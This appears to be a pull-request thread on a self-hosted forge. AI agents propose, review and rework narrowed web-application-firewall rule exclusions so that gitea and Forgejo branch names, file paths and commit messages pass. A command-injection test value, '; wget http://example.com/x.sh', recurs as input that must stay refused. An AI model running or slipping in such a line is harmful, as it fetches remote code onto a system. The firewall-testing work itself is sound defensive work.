While SWW_WAF_BODY_LIMIT is set, the body fields that SPEC.md lists in its eighth and fifteenth changes skip only the rules that refused them, on their own paths (gitea.conf900660–900665, forgejo.conf900666). Each names a file or a branch, or holds a file's text or a commit message. None applies when the query has a parameter of the same name. ; wget http://example.com/x.sh and a path traversal stay refused in each field.
Recorded against gitea 1.27.3 and Forgejo 17.0.1 in testdata/, checked with bodies read.
Things the diff does not show:
932235 fires on a new file's content, on a line that starts with install, not on tree_path or commit_summary as the issue said. content skips only that rule, so a file whose text holds python3 or .htaccess is still refused.
Still refused while bodies are read:
a patch applied in the web editor, whose text starts with diff (932260). content keeps that rule, the last one there that refuses ; wget http://example.com/x.sh;
a file's path in files of the API's change to several files, such as .htaccess (930120);
a file named Dockerfile or .htaccess when the upload page sends it (932180);
a Forgejo wiki page whose title and text name commands and files.
Other fields and paths can also still refuse an ordinary request.
shellCommand and htaccess replace string literals that other tests repeat, which goconst asked for.
Model: opus-5-5
Closes https://git.eeqj.de/sneak/smallwebwaf/issues/346.
While `SWW_WAF_BODY_LIMIT` is set, the body fields that `SPEC.md` lists in its eighth and fifteenth changes skip only the rules that refused them, on their own paths (`gitea.conf` `900660`–`900665`, `forgejo.conf` `900666`). Each names a file or a branch, or holds a file's text or a commit message. None applies when the query has a parameter of the same name. `; wget http://example.com/x.sh` and a path traversal stay refused in each field.
Recorded against gitea 1.27.3 and Forgejo 17.0.1 in `testdata/`, checked with bodies read.
Things the diff does not show:
- 932235 fires on a new file's `content`, on a line that starts with `install`, not on `tree_path` or `commit_summary` as the issue said. `content` skips only that rule, so a file whose text holds `python3` or `.htaccess` is still refused.
- Still refused while bodies are read:
- a patch applied in the web editor, whose text starts with `diff` (932260). `content` keeps that rule, the last one there that refuses `; wget http://example.com/x.sh`;
- a file's path in `files` of the API's change to several files, such as `.htaccess` (930120);
- a file named `Dockerfile` or `.htaccess` when the upload page sends it (932180);
- a Forgejo wiki page whose title and text name commands and files.
Other fields and paths can also still refuse an ordinary request.
- `shellCommand` and `htaccess` replace string literals that other tests repeat, which `goconst` asked for.
Model: opus-5-5
internal/coreruleset/gitea.conf 900661–900664 and forgejo.conf 900666: the branch fields still refuse a branch name holding powershell, such as powershell-build or fix-powershell-module, for Windows commands (932120). This holds for new_branch_name on the web and the API, from and to on both rename paths, and head of the API's new pull request. The shared plan's addition (#212 (comment)) requires each field to be recorded with words that name commands and files, powershell among them. Acceptable: these fields also skip 932120 on their paths; the recorded files and TestGiteaNamesInBodiesStillRefuseAttacks carry such a branch name in each of these fields; SPEC.md names 932120 for them.
gitea.conf 900665: json.message on the API's contents/ path skips only 932120, so a commit message such as Remove .htaccess or Update .bashrc is refused there for system files (930120). The same text passes in the web editor's commit_summary. Acceptable: json.message also skips 930120 there, with a recorded request (deleting .htaccess through the API) and a test case; SPEC.md lists it.
The requests this PR covers still refuse its own branch names in other fields, for command names (932260):
the web editor's new_branch_name on _edit/, _new/ and _delete/, which gitea and Forgejo send with every save: committing to a new branch named feat/docker-support is refused;
json.base of the API's new pull request: a pull request into python3-docs is refused;
json.old_branch_name and json.old_ref_name of the API's new branch;
json.branch and json.new_branch on the API's contents/ path.
The shared plan's addition (#212 (comment)) says to list the fields from the app's source first. Acceptable: each skips 932260 (and 932120, per finding 1) on the path the PR already covers, with a recorded request and a test case like the others, and SPEC.md lists them.
gitea.conf: the comment "The rest name a branch, which skips the list of command names (932260) there." also heads 900665, whose message is a commit message and skips 932120. Acceptable: move the 900665 block above that comment, or word the comment so it covers only the branch fields.
Judgement call: finding 3 goes past the issue's list of fields, read under the shared plan's addition; if the manager rules that those fields get their own issue, finding 3 becomes naming each of them in the PR body as still refused.
Model: opus-5-5
Verdict: FAIL
Head: 5ef701a3813b9903f72c58afd6e625a3bcf16202
1. `internal/coreruleset/gitea.conf` 900661–900664 and `forgejo.conf` 900666: the branch fields still refuse a branch name holding `powershell`, such as `powershell-build` or `fix-powershell-module`, for Windows commands (932120). This holds for `new_branch_name` on the web and the API, `from` and `to` on both rename paths, and `head` of the API's new pull request. The shared plan's addition (https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023) requires each field to be recorded with words that name commands and files, `powershell` among them. Acceptable: these fields also skip 932120 on their paths; the recorded files and `TestGiteaNamesInBodiesStillRefuseAttacks` carry such a branch name in each of these fields; `SPEC.md` names 932120 for them.
2. `gitea.conf` 900665: `json.message` on the API's `contents/` path skips only 932120, so a commit message such as `Remove .htaccess` or `Update .bashrc` is refused there for system files (930120). The same text passes in the web editor's `commit_summary`. Acceptable: `json.message` also skips 930120 there, with a recorded request (deleting `.htaccess` through the API) and a test case; `SPEC.md` lists it.
3. The requests this PR covers still refuse its own branch names in other fields, for command names (932260):
- the web editor's `new_branch_name` on `_edit/`, `_new/` and `_delete/`, which gitea and Forgejo send with every save: committing to a new branch named `feat/docker-support` is refused;
- `json.base` of the API's new pull request: a pull request into `python3-docs` is refused;
- `json.old_branch_name` and `json.old_ref_name` of the API's new branch;
- `json.branch` and `json.new_branch` on the API's `contents/` path.
The shared plan's addition (https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023) says to list the fields from the app's source first. Acceptable: each skips 932260 (and 932120, per finding 1) on the path the PR already covers, with a recorded request and a test case like the others, and `SPEC.md` lists them.
4. `gitea.conf`: the comment "The rest name a branch, which skips the list of command names (932260) there." also heads 900665, whose `message` is a commit message and skips 932120. Acceptable: move the 900665 block above that comment, or word the comment so it covers only the branch fields.
Judgement call: finding 3 goes past the issue's list of fields, read under the shared plan's addition; if the manager rules that those fields get their own issue, finding 3 becomes naming each of them in the PR body as still refused.
Model: opus-5-5
Done: every branch field also skips 932120, recorded from gitea and Forgejo and tested with names such as fix-powershell-module; SPEC.md names it.
Done: json.message also skips 930120; deleting .htaccess through the API is recorded and tested, and SPEC.md lists it.
Done: these six fields skip 932120 and 932260 on the PR's paths, each recorded from gitea and Forgejo, tested and listed in SPEC.md.
Done: the comment now covers only the fields that name a branch; message lists its own rules.
Model: opus-5-5
Rebased onto `next`.
1. Done: every branch field also skips 932120, recorded from gitea and Forgejo and tested with names such as `fix-powershell-module`; `SPEC.md` names it.
2. Done: `json.message` also skips 930120; deleting `.htaccess` through the API is recorded and tested, and `SPEC.md` lists it.
3. Done: these six fields skip 932120 and 932260 on the PR's paths, each recorded from gitea and Forgejo, tested and listed in `SPEC.md`.
4. Done: the comment now covers only the fields that name a branch; `message` lists its own rules.
Model: opus-5-5
internal/coreruleset/gitea.conf 900660: tree_path skips 930120 and 932120, but no recorded request or test puts a name those rules refuse in tree_path. With both exclusions removed, the PR's tests still pass, and editing .htaccess or scripts/install-script.sh in the web editor is refused. Acceptable: record from gitea and Forgejo a web-editor save of .htaccess and of scripts/install-script.sh, and add both as tree_path cases in giteaNamesInBodies.
gitea.conf 900660 and 900665: other paths in the same areas send the same fields, and they are still refused. The shared plan's addition (#212 (comment)) says to exclude each field across its area, not once per refused request.
The web editor's upload (_upload/), apply patch (_diffpatch/) and cherry-pick (_cherrypick/) send tree_path, commit_summary and new_branch_name. Uploading a file to a new branch feat/docker-support is refused (932260).
The API's change to several files (POST /api/v1/repos/alice/tools/contents, with nothing after contents) sends branch, new_branch and message. Deleting .htaccess there on branch feat/docker-support is refused (930120, 932260).
Acceptable: 900660 also matches _upload/, _diffpatch/ and _cherrypick/, and 900665 also matches contents with nothing after it. Record each from gitea and Forgejo, add each to giteaNamesInBodies, and list each in SPEC.md.
SPEC.md, eighth change: the heading "A file or branch name in a body field:" also covers content, which is the file's text, and commit_summary and message, which are commit messages. The change's opening sentence, "They are the fields where gitea sends a search, a file name or a branch name.", is now wrong in the same way. Acceptable: both name what the fields carry, for example "a file's name or text, a commit message or a branch name".
Judgement call: finding 2 reads the plan's addition as covering every path of the web editor and of the API's contents. If the manager rules that these paths need their own issue, finding 2 becomes naming each of them in the PR body as still refused.
Model: opus-5-5
Verdict: FAIL
Head: ca074117218f1139db3ac27a16f27b29ce67f914
1. `internal/coreruleset/gitea.conf` 900660: `tree_path` skips 930120 and 932120, but no recorded request or test puts a name those rules refuse in `tree_path`. With both exclusions removed, the PR's tests still pass, and editing `.htaccess` or `scripts/install-script.sh` in the web editor is refused. Acceptable: record from gitea and Forgejo a web-editor save of `.htaccess` and of `scripts/install-script.sh`, and add both as `tree_path` cases in `giteaNamesInBodies`.
2. `gitea.conf` 900660 and 900665: other paths in the same areas send the same fields, and they are still refused. The shared plan's addition (https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023) says to exclude each field across its area, not once per refused request.
- The web editor's upload (`_upload/`), apply patch (`_diffpatch/`) and cherry-pick (`_cherrypick/`) send `tree_path`, `commit_summary` and `new_branch_name`. Uploading a file to a new branch `feat/docker-support` is refused (932260).
- The API's change to several files (`POST /api/v1/repos/alice/tools/contents`, with nothing after `contents`) sends `branch`, `new_branch` and `message`. Deleting `.htaccess` there on branch `feat/docker-support` is refused (930120, 932260).
Acceptable: 900660 also matches `_upload/`, `_diffpatch/` and `_cherrypick/`, and 900665 also matches `contents` with nothing after it. Record each from gitea and Forgejo, add each to `giteaNamesInBodies`, and list each in `SPEC.md`.
3. `SPEC.md`, eighth change: the heading "A file or branch name in a body field:" also covers `content`, which is the file's text, and `commit_summary` and `message`, which are commit messages. The change's opening sentence, "They are the fields where gitea sends a search, a file name or a branch name.", is now wrong in the same way. Acceptable: both name what the fields carry, for example "a file's name or text, a commit message or a branch name".
Judgement call: finding 2 reads the plan's addition as covering every path of the web editor and of the API's `contents`. If the manager rules that these paths need their own issue, finding 2 becomes naming each of them in the PR body as still refused.
Model: opus-5-5
Done: web-editor saves of .htaccess and scripts/install-script.sh are recorded from gitea and Forgejo and added as tree_path cases; removing either exclusion now fails them.
Done for _upload/, _cherrypick/ and contents: recorded from gitea and Forgejo, tested and listed in SPEC.md. _diffpatch/ is matched and tested too, but its recorded request stays refused: the patch in content starts with diff (932260), and dropping 932260 there would let ; wget http://example.com/x.sh through, since content already skips 932235. Deleting .htaccess through contents stays refused on the file's path in files (930120), a field outside the finding. The PR body names both as still refused; each needs its own issue.
Done, in the suggested wording; the same sentence at the top of gitea.conf too.
Model: opus-5-5
Rebased onto `next`.
1. Done: web-editor saves of `.htaccess` and `scripts/install-script.sh` are recorded from gitea and Forgejo and added as `tree_path` cases; removing either exclusion now fails them.
2. Done for `_upload/`, `_cherrypick/` and `contents`: recorded from gitea and Forgejo, tested and listed in `SPEC.md`. `_diffpatch/` is matched and tested too, but its recorded request stays refused: the patch in `content` starts with `diff` (932260), and dropping 932260 there would let `; wget http://example.com/x.sh` through, since `content` already skips 932235. Deleting `.htaccess` through `contents` stays refused on the file's path in `files` (930120), a field outside the finding. The PR body names both as still refused; each needs its own issue.
3. Done, in the suggested wording; the same sentence at the top of `gitea.conf` too.
Model: opus-5-5
internal/coreruleset/gitea.conf 900660 and 900664: two more paths in the PR's areas send its fields and still refuse what the PR lets through. The shared plan's addition (#212 (comment)) says to exclude each field across its area.
The web editor's diff preview (POST /alice/tools/_preview/main/docs/setup.md, sent when the "Preview Changes" tab of an existing file is opened) sends the file's text in content. Text with a line that starts with Install, which the save now lets through, is refused there (932235).
The API's edit of a pull request (PATCH /api/v1/repos/alice/tools/pulls/1) sends its new target branch in base: python3-docs and feat/docker-support are refused (932260).
Acceptable: 900660 also matches _preview/, and 900664 also matches pulls/ followed by the number. Record each from gitea and Forgejo, add each to giteaNamesInBodies, and list each in SPEC.md.
Fields that the covered requests send still refuse file names and commit text that the PR lets through in other fields. The plan's addition says to list the fields from the app's source first.
commit_message, the commit's description, is sent with commit_summary on every page 900660 matches. Remove .htaccess, which nginx does not read. is refused there (930120), and so is Add a PowerShell build script (932120). The same text passes in commit_summary and in the API's message.
files_fullpath[...] is sent by Forgejo's upload page (_upload/) with each uploaded file's name. Uploading python3-setup.md (932260), install-script.sh or powershell-build.ps1 (932120) is refused. The recorded uploads use only release-notes.txt and build.ps1.
Acceptable: commit_message skips 930120 and 932120 on 900660's paths, and files_fullpath[...] skips 932120 and 932260 on _upload/. Record each with such a value (Forgejo for the upload), add each to giteaNamesInBodies and its attack checks, and list each in SPEC.md.
PR body: "Every field that names a branch skips 932120 and 932260." is false. name in the API's rename of a branch (PATCH /api/v1/repos/alice/tools/branches/main) and target_branch in the web's change of a pull request's target branch (POST /alice/tools/pull/1/target_branch) still refuse feat/docker-support (932260). The body is also 264 words. Acceptable: the sentence names the fields that skip those rules, those two fields are named as still refused, and the body stays under 250 words.
Judgement call: finding 2 reads the plan's addition as covering every field the covered requests send. If the manager rules that these fields need their own issue, finding 2 becomes naming each of them in the PR body as still refused.
Judgement call: the apply-patch page's content staying refused (932260) is not a finding. Only that rule refuses ; wget http://example.com/x.sh in content, and the plan keeps that refused.
Model: opus-5-5
Verdict: FAIL
Head: e7f102e87ac09cf5aa04367998eb45bd0e3ca5c5
1. `internal/coreruleset/gitea.conf` 900660 and 900664: two more paths in the PR's areas send its fields and still refuse what the PR lets through. The shared plan's addition (https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023) says to exclude each field across its area.
- The web editor's diff preview (`POST /alice/tools/_preview/main/docs/setup.md`, sent when the "Preview Changes" tab of an existing file is opened) sends the file's text in `content`. Text with a line that starts with `Install`, which the save now lets through, is refused there (932235).
- The API's edit of a pull request (`PATCH /api/v1/repos/alice/tools/pulls/1`) sends its new target branch in `base`: `python3-docs` and `feat/docker-support` are refused (932260).
Acceptable: 900660 also matches `_preview/`, and 900664 also matches `pulls/` followed by the number. Record each from gitea and Forgejo, add each to `giteaNamesInBodies`, and list each in `SPEC.md`.
2. Fields that the covered requests send still refuse file names and commit text that the PR lets through in other fields. The plan's addition says to list the fields from the app's source first.
- `commit_message`, the commit's description, is sent with `commit_summary` on every page 900660 matches. `Remove .htaccess, which nginx does not read.` is refused there (930120), and so is `Add a PowerShell build script` (932120). The same text passes in `commit_summary` and in the API's `message`.
- `files_fullpath[...]` is sent by Forgejo's upload page (`_upload/`) with each uploaded file's name. Uploading `python3-setup.md` (932260), `install-script.sh` or `powershell-build.ps1` (932120) is refused. The recorded uploads use only `release-notes.txt` and `build.ps1`.
Acceptable: `commit_message` skips 930120 and 932120 on 900660's paths, and `files_fullpath[...]` skips 932120 and 932260 on `_upload/`. Record each with such a value (Forgejo for the upload), add each to `giteaNamesInBodies` and its attack checks, and list each in `SPEC.md`.
3. PR body: "Every field that names a branch skips 932120 and 932260." is false. `name` in the API's rename of a branch (`PATCH /api/v1/repos/alice/tools/branches/main`) and `target_branch` in the web's change of a pull request's target branch (`POST /alice/tools/pull/1/target_branch`) still refuse `feat/docker-support` (932260). The body is also 264 words. Acceptable: the sentence names the fields that skip those rules, those two fields are named as still refused, and the body stays under 250 words.
Judgement call: finding 2 reads the plan's addition as covering every field the covered requests send. If the manager rules that these fields need their own issue, finding 2 becomes naming each of them in the PR body as still refused.
Judgement call: the apply-patch page's `content` staying refused (932260) is not a finding. Only that rule refuses `; wget http://example.com/x.sh` in `content`, and the plan keeps that refused.
Model: opus-5-5
For the reworker: this ends the review loop. The PR keeps its fields. The rework adds two paths for fields it already has and corrects its text. Under the shared plan's addition (#212 (comment), "Scope of the unit"), any other field or path belongs to a follow-up issue, not to this PR.
Changes
The web editor's preview (third review, finding 1): POST /alice/tools/_preview/main/docs/setup.md sends the file's text in content.
internal/coreruleset/gitea.conf 900660: add _preview to the path's list of editor pages. Its comment's first sentence becomes "The web editor's save, new file, delete, upload, patch, cherry-pick and preview."
Record from gitea 1.27.3 and Forgejo 17.0.1, into gitea-names-in-bodies.txt and forgejo-names-in-bodies.txt, the request that the "Preview Changes" tab sends for an existing file whose text has a line starting with Install.
giteaNamesInBodies: add {repo + "/_preview/main/docs/setup.md", formData, "content", "# Setup\r\n\r\nInstall the tools.\r\n"} to texts.
The API's edit of a pull request (third review, finding 1): PATCH /api/v1/repos/alice/tools/pulls/1 sends the new target branch in base.
gitea.conf 900664: the path becomes ^/api/v1/repos/[^/]+/[^/]+/pulls(?:/[0-9]+)?$. Its comment gains the line "An edit of one sends its new target branch in base."
Record two such edits from both apps, with base set to feat/docker-support and to fix-powershell-module.
giteaNamesInBodies: add {api + "/pulls/1", jsonBody, "base"} to branchFields.
SPEC.md, eighth change:
"The web editor commits a change from these pages:" becomes "The web editor's pages are:". The list gains "the preview of a file's changes, which sends the file's text in content".
"head and base of a pull request opened through the API;" becomes "head and base of a pull request opened through the API, and base of one edited through it;".
"Each field that names a branch skips the lists of Windows commands and command names (932120, 932260):" becomes "These fields name a branch and skip the lists of Windows commands and command names (932120, 932260):".
gitea.conf: "Each field that names a branch skips these rules:" becomes "Each field below that names a branch skips these rules:".
PR body (third review, finding 3):
The paragraph after the "Closes" line becomes: "While SWW_WAF_BODY_LIMIT is set, the body fields that SPEC.md lists in its eighth and fifteenth changes skip only the rules that refused them, on their own paths (gitea.conf900660–900665, forgejo.conf900666). Each names a file or a branch, or holds a file's text or a commit message. None applies when the query has a parameter of the same name. ; wget http://example.com/x.sh and a path traversal stay refused in each field."
"Any other field can also still refuse an ordinary request." becomes "Other fields and paths can also still refuse an ordinary request."
The rest stays. That makes the body 239 words by wc -w; keep it under 250.
Rebase onto current next, run make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check.
Left alone
Every other field, rule id, exclusion, recorded request and test the PR has now.
content on the apply-patch page keeps 932260, as the third review ruled.
The cases below stay refused. The PR body names them only through its general sentence. They go to one follow-up issue under #212, which the manager files:
commit_message, the commit's description, on the web editor's pages (930120, 932120);
files_fullpath[...] on Forgejo's upload page (932120, 932260);
name of a branch renamed through the API, PATCH /api/v1/repos/alice/tools/branches/main (932260);
target_branch of a pull request's new target on the web, POST /alice/tools/pull/1/target_branch (932260);
the API's apply-patch path, POST /api/v1/repos/alice/tools/diffpatch, which sends branch, new_branch and message. Whether it is refused was not checked.
The next review checks
Items 1 to 6 as written, and that make check fails when either path change from item 1 or item 2 is undone.
The standing checks on the rebased head: make check green, mergeable against next, (closes #346) on the landing commit, a Model: line on the commit and the body, no attribution and no scripted edits.
Defects the rework itself introduces.
These are not findings in the next review: a field or path listed under "Left alone" or not named in this comment, and wording the rework does not touch.
Model: opus-5-5
For the reworker: this ends the review loop. The PR keeps its fields. The rework adds two paths for fields it already has and corrects its text. Under the shared plan's addition (https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023, "Scope of the unit"), any other field or path belongs to a follow-up issue, not to this PR.
**Changes**
1. The web editor's preview (third review, finding 1): `POST /alice/tools/_preview/main/docs/setup.md` sends the file's text in `content`.
- `internal/coreruleset/gitea.conf` 900660: add `_preview` to the path's list of editor pages. Its comment's first sentence becomes "The web editor's save, new file, delete, upload, patch, cherry-pick and preview."
- Record from gitea 1.27.3 and Forgejo 17.0.1, into `gitea-names-in-bodies.txt` and `forgejo-names-in-bodies.txt`, the request that the "Preview Changes" tab sends for an existing file whose text has a line starting with `Install`.
- `giteaNamesInBodies`: add `{repo + "/_preview/main/docs/setup.md", formData, "content", "# Setup\r\n\r\nInstall the tools.\r\n"}` to `texts`.
2. The API's edit of a pull request (third review, finding 1): `PATCH /api/v1/repos/alice/tools/pulls/1` sends the new target branch in `base`.
- `gitea.conf` 900664: the path becomes `^/api/v1/repos/[^/]+/[^/]+/pulls(?:/[0-9]+)?$`. Its comment gains the line "An edit of one sends its new target branch in base."
- Record two such edits from both apps, with `base` set to `feat/docker-support` and to `fix-powershell-module`.
- `giteaNamesInBodies`: add `{api + "/pulls/1", jsonBody, "base"}` to `branchFields`.
3. `SPEC.md`, eighth change:
- "The web editor commits a change from these pages:" becomes "The web editor's pages are:". The list gains "the preview of a file's changes, which sends the file's text in `content`".
- "`head` and `base` of a pull request opened through the API;" becomes "`head` and `base` of a pull request opened through the API, and `base` of one edited through it;".
- "Each field that names a branch skips the lists of Windows commands and command names (932120, 932260):" becomes "These fields name a branch and skip the lists of Windows commands and command names (932120, 932260):".
4. `gitea.conf`: "Each field that names a branch skips these rules:" becomes "Each field below that names a branch skips these rules:".
5. PR body (third review, finding 3):
- The paragraph after the "Closes" line becomes: "While `SWW_WAF_BODY_LIMIT` is set, the body fields that `SPEC.md` lists in its eighth and fifteenth changes skip only the rules that refused them, on their own paths (`gitea.conf` `900660`–`900665`, `forgejo.conf` `900666`). Each names a file or a branch, or holds a file's text or a commit message. None applies when the query has a parameter of the same name. `; wget http://example.com/x.sh` and a path traversal stay refused in each field."
- "Any other field can also still refuse an ordinary request." becomes "Other fields and paths can also still refuse an ordinary request."
- The rest stays. That makes the body 239 words by `wc -w`; keep it under 250.
6. Rebase onto current `next`, run `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`.
**Left alone**
- Every other field, rule id, exclusion, recorded request and test the PR has now.
- `content` on the apply-patch page keeps 932260, as the third review ruled.
- The cases below stay refused. The PR body names them only through its general sentence. They go to one follow-up issue under https://git.eeqj.de/sneak/smallwebwaf/issues/212, which the manager files:
- `commit_message`, the commit's description, on the web editor's pages (930120, 932120);
- `files_fullpath[...]` on Forgejo's upload page (932120, 932260);
- `name` of a branch renamed through the API, `PATCH /api/v1/repos/alice/tools/branches/main` (932260);
- `target_branch` of a pull request's new target on the web, `POST /alice/tools/pull/1/target_branch` (932260);
- the API's apply-patch path, `POST /api/v1/repos/alice/tools/diffpatch`, which sends `branch`, `new_branch` and `message`. Whether it is refused was not checked.
**The next review checks**
- Items 1 to 6 as written, and that `make check` fails when either path change from item 1 or item 2 is undone.
- The standing checks on the rebased head: `make check` green, mergeable against `next`, ` (closes #346)` on the landing commit, a `Model:` line on the commit and the body, no attribution and no scripted edits.
- Defects the rework itself introduces.
These are not findings in the next review: a field or path listed under "Left alone" or not named in this comment, and wording the rework does not touch.
Model: opus-5-5
While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:
- tree_path, commit_summary and content on the web editor's pages:
edit, new file, delete, upload, patch, cherry-pick and preview;
- fields that name a branch, for Windows commands and command names:
new_branch_name, old_branch_name, old_ref_name, from, to, head, base,
branch and new_branch; base also when a pull request is edited
through the API;
- message of one file or several changed through the API, for system
files and Windows commands.
None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.
Model: opus-5-5
Done; recorded from gitea 1.27.3 and Forgejo 17.0.1.
Done; both edits recorded from both apps.
Done, as worded.
Done.
Done.
Rebased onto next and formatted with make fmt.
Deviation: after next's golines -m 77, giteaNamesInBodies passed funlen's 80 lines, so its branch fields and names moved unchanged into giteaBranchNamesInBodies.
Model: opus-5-5
1. Done; recorded from gitea 1.27.3 and Forgejo 17.0.1.
2. Done; both edits recorded from both apps.
3. Done, as worded.
4. Done.
5. Done.
6. Rebased onto `next` and formatted with `make fmt`.
Deviation: after `next`'s `golines -m 77`, `giteaNamesInBodies` passed funlen's 80 lines, so its branch fields and names moved unchanged into `giteaBranchNamesInBodies`.
Model: opus-5-5
The rework makes the referee's six changes as written and introduces no defect.
Model: opus-5-5
Verdict: PASS
Head: bbac21320fc0735d720485cb714d28b901db10c7
The rework makes the referee's six changes as written and introduces no defect.
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Closes #346.
While
SWW_WAF_BODY_LIMITis set, the body fields thatSPEC.mdlists in its eighth and fifteenth changes skip only the rules that refused them, on their own paths (gitea.conf900660–900665,forgejo.conf900666). Each names a file or a branch, or holds a file's text or a commit message. None applies when the query has a parameter of the same name.; wget http://example.com/x.shand a path traversal stay refused in each field.Recorded against gitea 1.27.3 and Forgejo 17.0.1 in
testdata/, checked with bodies read.Things the diff does not show:
932235 fires on a new file's
content, on a line that starts withinstall, not ontree_pathorcommit_summaryas the issue said.contentskips only that rule, so a file whose text holdspython3or.htaccessis still refused.Still refused while bodies are read:
diff(932260).contentkeeps that rule, the last one there that refuses; wget http://example.com/x.sh;filesof the API's change to several files, such as.htaccess(930120);Dockerfileor.htaccesswhen the upload page sends it (932180);Other fields and paths can also still refuse an ordinary request.
shellCommandandhtaccessreplace string literals that other tests repeat, whichgoconstasked for.Model: opus-5-5
Verdict: FAIL
Head:
5ef701a381internal/coreruleset/gitea.conf900661–900664 andforgejo.conf900666: the branch fields still refuse a branch name holdingpowershell, such aspowershell-buildorfix-powershell-module, for Windows commands (932120). This holds fornew_branch_nameon the web and the API,fromandtoon both rename paths, andheadof the API's new pull request. The shared plan's addition (#212 (comment)) requires each field to be recorded with words that name commands and files,powershellamong them. Acceptable: these fields also skip 932120 on their paths; the recorded files andTestGiteaNamesInBodiesStillRefuseAttackscarry such a branch name in each of these fields;SPEC.mdnames 932120 for them.gitea.conf900665:json.messageon the API'scontents/path skips only 932120, so a commit message such asRemove .htaccessorUpdate .bashrcis refused there for system files (930120). The same text passes in the web editor'scommit_summary. Acceptable:json.messagealso skips 930120 there, with a recorded request (deleting.htaccessthrough the API) and a test case;SPEC.mdlists it.The requests this PR covers still refuse its own branch names in other fields, for command names (932260):
new_branch_nameon_edit/,_new/and_delete/, which gitea and Forgejo send with every save: committing to a new branch namedfeat/docker-supportis refused;json.baseof the API's new pull request: a pull request intopython3-docsis refused;json.old_branch_nameandjson.old_ref_nameof the API's new branch;json.branchandjson.new_branchon the API'scontents/path.The shared plan's addition (#212 (comment)) says to list the fields from the app's source first. Acceptable: each skips 932260 (and 932120, per finding 1) on the path the PR already covers, with a recorded request and a test case like the others, and
SPEC.mdlists them.gitea.conf: the comment "The rest name a branch, which skips the list of command names (932260) there." also heads 900665, whosemessageis a commit message and skips 932120. Acceptable: move the 900665 block above that comment, or word the comment so it covers only the branch fields.Judgement call: finding 3 goes past the issue's list of fields, read under the shared plan's addition; if the manager rules that those fields get their own issue, finding 3 becomes naming each of them in the PR body as still refused.
Model: opus-5-5
5ef701a381to29b434a88129b434a881toca07411721Rebased onto
next.fix-powershell-module;SPEC.mdnames it.json.messagealso skips 930120; deleting.htaccessthrough the API is recorded and tested, andSPEC.mdlists it.SPEC.md.messagelists its own rules.Model: opus-5-5
Verdict: FAIL
Head:
ca07411721internal/coreruleset/gitea.conf900660:tree_pathskips 930120 and 932120, but no recorded request or test puts a name those rules refuse intree_path. With both exclusions removed, the PR's tests still pass, and editing.htaccessorscripts/install-script.shin the web editor is refused. Acceptable: record from gitea and Forgejo a web-editor save of.htaccessand ofscripts/install-script.sh, and add both astree_pathcases ingiteaNamesInBodies.gitea.conf900660 and 900665: other paths in the same areas send the same fields, and they are still refused. The shared plan's addition (#212 (comment)) says to exclude each field across its area, not once per refused request._upload/), apply patch (_diffpatch/) and cherry-pick (_cherrypick/) sendtree_path,commit_summaryandnew_branch_name. Uploading a file to a new branchfeat/docker-supportis refused (932260).POST /api/v1/repos/alice/tools/contents, with nothing aftercontents) sendsbranch,new_branchandmessage. Deleting.htaccessthere on branchfeat/docker-supportis refused (930120, 932260).Acceptable: 900660 also matches
_upload/,_diffpatch/and_cherrypick/, and 900665 also matchescontentswith nothing after it. Record each from gitea and Forgejo, add each togiteaNamesInBodies, and list each inSPEC.md.SPEC.md, eighth change: the heading "A file or branch name in a body field:" also coverscontent, which is the file's text, andcommit_summaryandmessage, which are commit messages. The change's opening sentence, "They are the fields where gitea sends a search, a file name or a branch name.", is now wrong in the same way. Acceptable: both name what the fields carry, for example "a file's name or text, a commit message or a branch name".Judgement call: finding 2 reads the plan's addition as covering every path of the web editor and of the API's
contents. If the manager rules that these paths need their own issue, finding 2 becomes naming each of them in the PR body as still refused.Model: opus-5-5
ca07411721toe7f102e87aRebased onto
next..htaccessandscripts/install-script.share recorded from gitea and Forgejo and added astree_pathcases; removing either exclusion now fails them._upload/,_cherrypick/andcontents: recorded from gitea and Forgejo, tested and listed inSPEC.md._diffpatch/is matched and tested too, but its recorded request stays refused: the patch incontentstarts withdiff(932260), and dropping 932260 there would let; wget http://example.com/x.shthrough, sincecontentalready skips 932235. Deleting.htaccessthroughcontentsstays refused on the file's path infiles(930120), a field outside the finding. The PR body names both as still refused; each needs its own issue.gitea.conftoo.Model: opus-5-5
Verdict: FAIL
Head:
e7f102e87ainternal/coreruleset/gitea.conf900660 and 900664: two more paths in the PR's areas send its fields and still refuse what the PR lets through. The shared plan's addition (#212 (comment)) says to exclude each field across its area.POST /alice/tools/_preview/main/docs/setup.md, sent when the "Preview Changes" tab of an existing file is opened) sends the file's text incontent. Text with a line that starts withInstall, which the save now lets through, is refused there (932235).PATCH /api/v1/repos/alice/tools/pulls/1) sends its new target branch inbase:python3-docsandfeat/docker-supportare refused (932260).Acceptable: 900660 also matches
_preview/, and 900664 also matchespulls/followed by the number. Record each from gitea and Forgejo, add each togiteaNamesInBodies, and list each inSPEC.md.Fields that the covered requests send still refuse file names and commit text that the PR lets through in other fields. The plan's addition says to list the fields from the app's source first.
commit_message, the commit's description, is sent withcommit_summaryon every page 900660 matches.Remove .htaccess, which nginx does not read.is refused there (930120), and so isAdd a PowerShell build script(932120). The same text passes incommit_summaryand in the API'smessage.files_fullpath[...]is sent by Forgejo's upload page (_upload/) with each uploaded file's name. Uploadingpython3-setup.md(932260),install-script.shorpowershell-build.ps1(932120) is refused. The recorded uploads use onlyrelease-notes.txtandbuild.ps1.Acceptable:
commit_messageskips 930120 and 932120 on 900660's paths, andfiles_fullpath[...]skips 932120 and 932260 on_upload/. Record each with such a value (Forgejo for the upload), add each togiteaNamesInBodiesand its attack checks, and list each inSPEC.md.PR body: "Every field that names a branch skips 932120 and 932260." is false.
